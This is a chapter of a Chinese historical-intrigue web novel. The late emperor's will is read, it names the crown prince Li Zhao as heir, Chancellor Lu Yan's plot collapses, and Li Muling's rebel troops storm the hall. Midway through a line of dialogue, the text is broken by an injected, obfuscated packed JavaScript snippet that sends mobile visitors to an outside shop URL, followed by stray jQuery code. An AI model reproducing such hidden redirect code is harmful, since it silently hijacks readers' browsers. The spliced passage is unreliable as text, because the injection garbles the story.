篡改伪造诏书,视同谋逆。陆彦此言一出,众人皆变了脸色。
司白将手中的天子剑一紧,喝道:“丞相慎言!”
两侧的黑甲军顿时拔刀,太极殿内的气息骤然紧张起来。
百官一片骇然。
陆彦冷眼瞥向四周的黑甲军,又将视线挪到宁晏礼身上:“老夫身居相位十余年,从未听闻先帝留有遗诏,怀谦莫不是弄错了?”
宁晏礼勾了勾唇,抬手命黑甲军将刀收回,缓缓走下大殿,行至陆彦面前。
他眸中浮现一抹戏谑,用只有他二人能听清的声音道:“丞相何不耐心一些,等钱常侍将诏书念完?”
陆彦冷嗤,也压低了声音:“你步步谋算,走到今日,旁人不知你心思,难道还想瞒得住老夫?宁怀谦,你莫要贪心太多了。”
“若不是丞相非要与霍家联姻,又何至于此?”宁晏礼讽刺一笑:“丞相当真以为我看重的,是那个空荡荡的皇位?”
陆彦冷笑。
不是为了皇位还能为了什么?
殿外隐约传来将士们的呐喊与厮杀,百官惶然骚动起来。一个黑甲士卒匆忙进殿,低声对宁晏礼秉道:“大人!淮南王李鳌与世子带兵攻进来了!”
宁晏礼望去,纷飞的雪片之后,止车门外果然有依稀攒动的火光。
淮南王府的动作比他预想中快了一些。
陆彦见此眉头舒展开来,微微一笑:“让你拿到虎符,确是老夫大意。但眼下诸侯已遵太后娘娘‘清君侧’的懿旨,前来勤王。”
他道:“怀谦,这一局,你赢不了了。”
宁晏礼无谓地看他一眼:“丞相苦心谋划,倒不怕引狼入室,与他人做了嫁衣?”
“名不正则言不顺,”陆彦神色从容:“百官容不下李鳌父子,霍家更容不下他们,只要除去你,霍远山自会与老夫一道扶持太子上位。”
“既知虎符在我手里,丞相为何笃定我今日会败于李鳌之手?”
陆彦笑了笑,脸上浮现一抹掺着轻蔑的傲然,那是久居庙堂,又身居高位之人常有的神情。
“你确是个聪明人,但老夫在朝中多年,见过的聪明人早不可胜数。你在背后计划的那些谋算,我又岂会不知?”他道,
“你表面上担心京中生变,命霍远山从京郊大营调兵镇守城门,连日防备。暗中却交代褚冉,放松上京城西侧琅华门的守卫,引李鳌父子进京。再让三郎带兵于宫外策应,一待李鳌父子打进宫门,宫中黑甲军与三郎内外合围,必当将其父子二人擒获。”
“先是瞒天过海,后再瓮中捉鳖,若非狂悖大意,你倒确有几分胜算。”陆彦似惋惜般笑叹:“只是怀谦,你太高看自己,又太小看老夫。三郎终究是我陆氏的人,到了这种时候,怎会与你同心?”
嘈杂的兵戈声越来越近,淮南王府的兵马似乎已攻破止车门,向太极殿前的端门逼近。
百官早已哄乱一团,无人在意陆彦与宁晏礼说了什么,只顾着慌乱四散,却被司白带兵持刀拦住,根本没给他们留下退路。
无数羽箭穿过漫天雪花,于夜空落下。
守在太极殿宫院里的黑甲军不断倒下,又一波一波的冲上去,死死顶住不断从外被撞击的端门。
随着一下下沉重的咚响,宁晏礼望向摇摇欲坠的宫门:“丞相就不担心我会杀了你,再杀了皇后和太子,拉着你们为我陪葬?”
“老夫若是会怕,又如何走到今日?”陆彦笑得冷漠:“但老夫知道,即便你知自己将败,也不会杀了太子。因为与其让太子上位,你更不甘心让李鳌父子得手。”
“丞相就如此笃定?”
“成王败寇,谁人不是在赌?”
“至于老夫与皇后,”陆彦继续道:“只要金陵陆氏兴盛不衰,死则死矣。”
这话冷漠得令人胆寒,但宁晏礼闻言却是一笑。
“不愧是丞相。”他缓缓将视线挪回陆彦身上:“只是今次怕是要让丞相失望了。”
言罢,未等陆彦反应,宁晏礼突然抬了抬手。
身后的司白赫然抽出天子剑,剑刃寒光映过百官惨白的脸:“天子剑前,失仪者立斩!”
众人皆是一颤,当即定在原地,殿上骤然陷入死寂。
外面的厮杀与攻门声仿佛被放大,不断撞击着每个人紧绷的神经,他们却在这时听见宁晏礼平静道:“宣诏。”
陆彦一怔。宁晏礼却视若未见,覆手立于他身侧,低声道:“还是请丞相先听完遗诏吧。”
“杀!杀啊——”
“除奸佞!斩孽臣!”
“诛杀宦党!扫清前朝!以安天下!”
端门被轰然撞破的一刹,淮南王府的兵马身着赤甲,呐喊着冲杀进来,如一道殷红的血河,顷刻将守在宫院内的黑甲军冲散。
钱福尖细高亢的声音穿透宫殿,亦穿过血腥的喧杂。遗诏按例从先帝的伟绩开始行文,缓缓述说着李洵的半生,如旷远的梵音,高悬于夜幕之上,响彻众人耳畔。
殿外的厮杀声越来越近,百官个个面如土色,但碍于士人颜面,更碍于司白手中的天子剑,只得垂头覆手,两股战战地听着冗长的诏文。
陆彦却面露得色。
胜负已分。
即便宁晏礼待会儿在众人面前道出自己的身份,妄图持诏继位,眼下也是来不及了。
淮南王府的兵马已至,名正言顺的储君只有李昭一个。若钱福在遗诏中道出“李衍”的名字,宁晏礼就只会成为矫诏篡位,狼子野心,人人得而诛之的嬖佞,届时百官也不会再依从与他。
大势至此,宁晏礼输了。
且将死无葬身之地。
“李衍”这个名字亦会被世人遗忘,留下的终仍是他百年不衰的金陵陆氏。
陆彦脸颊上的皱纹舒展开来,而宣诏声还在继续。
“……皇太子昭,仁孝厚德,累经监抚,聪敏勤勉,无违朕意……”
陆彦愣了愣,只觉钱福的声音忽然有些模糊,自己似乎没听清楚。
“宗社存焉,不可无主,皇太子即於柩前即皇帝位,依周汉旧制,军国大事,不可停阙,寻常闲务,任之有司……”
——皇太子即於柩前即皇帝位。
陆彦面色陡变。
宁晏礼拿出的遗诏,竟是传位于李昭!
监国寺辅政,宁晏礼持先帝遗诏扶太子李昭继位,于情于理于制,名正而言顺。
那前来“勤王”的诸侯成了什么?
早先与淮南王府合谋的陆氏,又成了什么?
然而一切已来不及了。
随着数声惨叫,以及兵戈坠落的声音,“哐”地一声,殿门被从外踢开,打断了钱福的宣诏。
身着赤甲的将士冲入殿内,劈卷的刀刃仍滴着黏腻的血,百官哗然。
先帝驾崩,太子依诏继位,此时闯入的,不是欲图篡位的乱臣贼子,还能是什么?
陆彦的神情渐渐僵硬。
宁晏礼回过头,冷眼看向赤甲将士身后,一个正步步迈上长阶的身影,淡道:“丞相可仍旧自信通晓人心?”
陆彦浑身一震,不可置信道:“你竟没有矫诏?”
宁晏礼眼梢上挑,带着一丝讥诮:“丞相,这一局到最后,你没看透任何一人。”
陆彦嘴唇翕动,瞪着双眼,说不出话来。
越来越多赤甲将士涌入,黑甲军被逼得步步后退,一众朝臣缩在他们身后,也跟着步步后退,很快被逼至角落。
唯有宁晏礼与陆彦仍站在原地,由司白和影卫护在中间。
走上长阶的来人终于看清面孔,那人身着金甲,腰佩长刀,迈入殿中。
“许久不见,宁侍中别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294700|131294||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来无恙。”李慕凌脸上仍挂着伪善的笑容,带着将士缓步走近。
宁晏礼戏谑一笑,冷道:“世子倒是沧桑许多。”
“从前不知宁侍中有如此胆识,死期将至还是这般巧言善辩。”李慕凌道:“宁侍中可记得本世子曾有言,倘有一日你落到我手里,我定将你剖肠破肚,曝尸城上。”
他顿了顿,笑道:“不想这一日竟来得这样快。”
宁晏礼勾唇:“臣彼时也说过,将拭目以待。”
李慕凌脸色渐沉,他倏然抽刀捅入一个内侍的身体,伴随着那内侍的一声惨叫,百官眼见着那内侍抽搐几下,倒了下去,纷纷倒吸了口气。
鲜血泂泂涌出,染红大殿的地面。
黑甲军后有一文官看不下去,壮着胆子喊道:“诸侯无诏本就不得入京,世子又于殿上随意杀人,这是作甚!”
“带兵攻上太极殿,是何居心已不必言说,”司白横剑喝令李慕凌停下脚步:“逆贼若再近一步,休怪刀剑无眼!”
“逆贼?”李慕凌停下脚步,不屑道:“我淮南王府得知有佞臣挟持太子,特带兵前来勤王。你说的逆贼,怕是另有其人。”
说着,他将目光又移回宁晏礼身上。
一旁,陆彦面色焦急,刚要开口,却被宁晏礼制止:“丞相莫急,这出好戏才刚刚开场。”
言罢,他微微抬手,百官身后的侧门被忽然打开。
众人看去又是一惊,竟见李昭身着冕服从门内走出,由内侍与黑甲军簇拥着,肃然步至殿上。
百官同时躬身伏手:“参见太子殿下。”
李昭从昭阳殿来,眼眶微微有些红肿,但脸上神情却仍旧端重自持,小小少年俨然已颇具君临天下的帝王风姿。
他抬袖免了众臣的礼,方看向殿下的李慕凌,朗声道:“谁是佞臣,谁是逆贼,今日百官皆在,本宫看得清楚。”
众人闻言也望向李慕凌,陆彦的脸色不禁白了白。
“来人。”李昭道:“将逆贼欲图谋反的证据呈上来!”
话音甫落,众人面露愕然,李慕凌眸光一凛,不禁攥紧了手中的刀柄。
鸦青很快带人进殿,他手中呈着托案,百官伸头望去,只见其上竟是一张洇满血字的帛书。
正当李慕凌犹夷不解之时,李昭已拿起帛书,厉声道:“淮南王府与前乌山郡丞暗中勾结,开采私铁偷制兵器,欲行谋逆。乌山郡丞血书供词在此,李慕凌,你可还有什么要分辩的?”
李慕凌咬牙切齿地看向宁晏礼,没想到他竟将乌山郡的事用在此时,分明是有备而来,不觉向后稍退了半步。
果然,只见宁晏礼淡看了鸦青一眼,原先畏缩在大殿角落里的“宫人”们顷刻从袖下抽出兵刃,飞身而上。
李慕凌面色陡变,身侧的将士挥刀护他连连后退,怎奈那些“宫人”分明是宁晏礼手下的影卫,个个以一当十,淮南王府的叛兵很快被逼至殿外。
宁晏礼迈过血染的门槛,行至长阶之上,居高临下道:“速将逆贼拿下!”
“世子小心!”
叛兵护着李慕凌退至宫院,青石板上积雪被血水融化,仓促中,李慕凌险些滑到,狼狈地挣扎起身,抬头却见有大队人马从身后的端门冲了进来。
身旁的叛兵有些慌了:“莫不是还有埋伏!”
李慕凌闻言面色青紫,慌乱地从腰间拔出佩刀。
密密麻麻的火把将黑夜燃亮,宁晏礼的影卫和殿内冲出的黑甲军愈来愈近。
待李慕凌看清端门那队人马身披的赤色甲胄,不禁眸光一亮,浑身不知因先前的狼狈而愤怒,还是因见到李鳌的援兵而激动,不可控制地微微震颤起来。
他笑容逐渐狰狞,回头望向长阶上的墨色身影,一字一句地狠狠道:
“王府众将士听令,活捉宁晏礼者,赏千金!”